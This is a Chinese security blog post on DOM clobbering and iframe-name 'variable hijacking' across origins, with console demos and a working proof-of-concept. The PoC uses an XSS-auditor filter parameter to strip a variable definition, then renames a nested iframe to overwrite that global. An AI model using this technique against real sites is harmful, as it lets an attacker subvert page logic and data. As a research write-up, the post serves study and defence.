前端中存在的变量劫持漏洞

避免博客长草,水一篇文章,这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。

0x1 基础知识

当页面存在iframe的时候,父页面和子页面是可以相互获取到对方的window对象的,主要利用下面的方法。
(本文不考虑 iframesandbox 属性,所有测试都是在不添加任何sandbox的限制下进行。)

父访问子:

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document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0] ; // 这个比较有意思, window 是本页面的window对象,window[0] 是子页面的window对象

子访问父:

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window.parent;  //获取上一级的window对象,如果还是iframe则是该iframe的window对象
window.top ; // 获取最顶级容器的window对象,即,就是你打开页面的文档

如果父和子页面是同源的,那么可以通过这个window对象获取到任何你想获取的内容,包括但是不限于 document,name,location 等。但是在非同源的情况下,iframe的window对象大多数的属性都会被同源策略block掉,但是有两个属性比较特殊。

  1. frames 可读,但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
  2. location 可写,但是不可读。意味着父子可以相互修改彼此的 location

结合以上两点可以推导出,爷可以修改孙(孙可以修改爷)的location。(父页面可以获取子页面的window对象,然后通过frames获取孙页面的window对象,然后修改location)

爷修改孙,演示如下:

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<!-- localhost:80/index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
<script>
// CONFIG = "test";
function loaded(x) {
// myframe = window.frames[0];
// myframe.frames[0].location = 'http://www.baidu.com/';

x.contentWindow.frames[0].location = "http://www.baidu.com/";

// console.log(myframe == x.contentWindow);
}
</script>
</body>

</html>
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<!-- localhost:8888/view.html -->

<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>

0x2 重新审视一下 id 属性

我们知道在浏览器中有如下特点,我们定义的所有全局变量,都被存储在window对象中,作为window的属性来被访问的。

下面在console中验证一下:

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> content = "i am content storage in window";
< "i am content storage in window"
> window.content
< "i am content storage in window"
> window.content == content
< true

同样,我们在页面中定义的具有id属性的dom对象也是作为全局变量存储在 window 中的。

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<h1 id="test"></h1>

然后再console里访问一下:

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> test
< <h1 id="test"></h1>
> window.test
< <h1 id="test"></h1>

这时候想到一个问题,既然 id 属性会被注册成全局变量,那么它会不会覆盖掉已经存在的全局变量呢?我们写如下的测试代码:

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<h1>test</h1>
<h2>test2</h2>

<script>
// CONFIG = "test";
test = "ddd";
document.getElementsByTagName("h1")[0].setAttribute('id',"test");
document.getElementsByTagName("h2")[0].setAttribute('id',"test2");
</script>

在console中输入:

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> test
< "ddd"
> test2
> <h2 id="test2">test2</h2>

事实证明无法覆盖已经定义的变量,但是却可以定义新的变量

怎么让页面中出现未定义的全局变量呢?别忘了 chrome 74之后 默认的 xss auditor 从block模式变成了filter模式,可以利用这个删除掉页面中的代码。(此问题文章最后演示)

另外我们知道,如果在页面中定义两个id一样的元素之后,这样使用 document.getElementById 就无法获取到这个id了,但是并不意味着着全局变量就不存在了,看下面这个实验。

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<h1 id="test"></h1>
<h2 id="test"></h2>
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> test 
< HTMLCollection(2) [h1#test, h2#test, test: h1#test]
0: h1#test
1: h2#test
length: 2
test: h1#test
__proto__: HTMLCollection

很明显全局变量test还是存在的,是包含两个元素的数组。

0x3 同样道理看一下iframe的name属性

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<iframe  name="viewer" src="./view.html"></iframe>

在console里验证一下

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> viewer 
< Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, parent: Window, …}

情况差不多,这里的 viewer 是注册在全局变量里的window对象。

但是如果页面中出现两个name相同的iframe,又会是什么情况呢?

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<iframe name="test" src="http://B.com/B.html" ></iframe>
<iframe name="test" src="http://C.com/C.html" ></iframe>

在console里面输入:

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> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}
> test == document.getElementsByTagName('iframe')[0].contentWindow
< true
> test == document.getElementsByTagName('iframe')[1].contentWindow
< false

发现跟id的情况并不相同,这里只有第一个元素,而且仅有第一个元素。

0x4 id 和 name 重复出现时

name在id前面

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<iframe name="test" src="http://B.com/B.html" ></iframe>
<h1 id="test"></h1>
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> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

id在name前面

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<h1 id="test"></h1>
<iframe name="test" src="http://B.com/B.html" ></iframe>
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> test 
< global {window: global, self: global, location: Location, closed: false, frames: global, …}

可以发现 name 的优先级是高于 id 的优先级的,无论怎样全局变量里存储的都是 iframe 的 window对象。

0x5 漏洞场景

我们有一个可以控制的域 A.com 中有页面 A.com/A.html , 用iframe加载了 B.com 的域的页面 B.com/B.html 。A.html无法操作B.html页面,因为是不同源的,同时 B.com/B.html 页面用iframe加载了一个新的页面 C.com/C.html 。

此时 B.com/B.html 存在一个未定义的全局变量 (可以是利用chrome的xss auditor的filter模式产生的),怎么利用?场景用代码描述如下:

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<!-- A.com/A.html -->
<iframe src="http://B.com/B.html" ></iframe>
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<!-- B.com/B.html -->
<iframe src="http://C.com/C.html" ></iframe>
<h1 onclick="test()">click me</h1>
<script>
VUL = "Hijack me";
</script>

<script>

function test(){
// 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
console.log(VUL);
}
</script>

利用的poc如下,修改A.html如下:

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<script>
function loaded(x){
x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为跟A.com同源,这样在修改此iframe的name的时候就不会被同源策略block
setTimeout(function() {
console.log('setting viewer...');
x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量
},1000);
}
</script>

<!--
http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E
利用chrome的filter模式去掉 VUL 的定义
-->

<iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>

然后访问 A.com/A.html ,就会发现 B.com/B.html 中的 VUL 已经被劫持了。

0x6 进一步利用

由于我们控制了 B.com/B.html 中的 iframe 指向了 http://A.com/index.html , 所以此时 B 想访问 VUL 对象的子属性是不行的,因为是跨域的。

比如 B.com/B.html 有如下代码:

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function test(){
// 不能用alert ,alert 会尝试访问 VUL window对象的特有方法,会爆跨域错误
// console.log(VUL);
config = VUL.config ; // 这一句一定会报错
alert(config.name); // 也一定会报错 。。。。
}

为了解决这个问题,我们还可以在 http://A.com/index.html 这个页面上做文章,做法就是再插入一个iframe

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<!-- http://A.com/index.html -->
<!-- http://B.com/C.html 是存在的 -->
<iframe name="config" src="http://B.com/C.html" ></iframe>

此时在 B.com 访问 VUL.config 就不会报错,而且访问 config.name时,如果 http://B.com/C.html 存在这个全局变量就不会报错,因为此时 B.com 访问 VUL.config 的一切属性都不会报错了,因为没有跨域。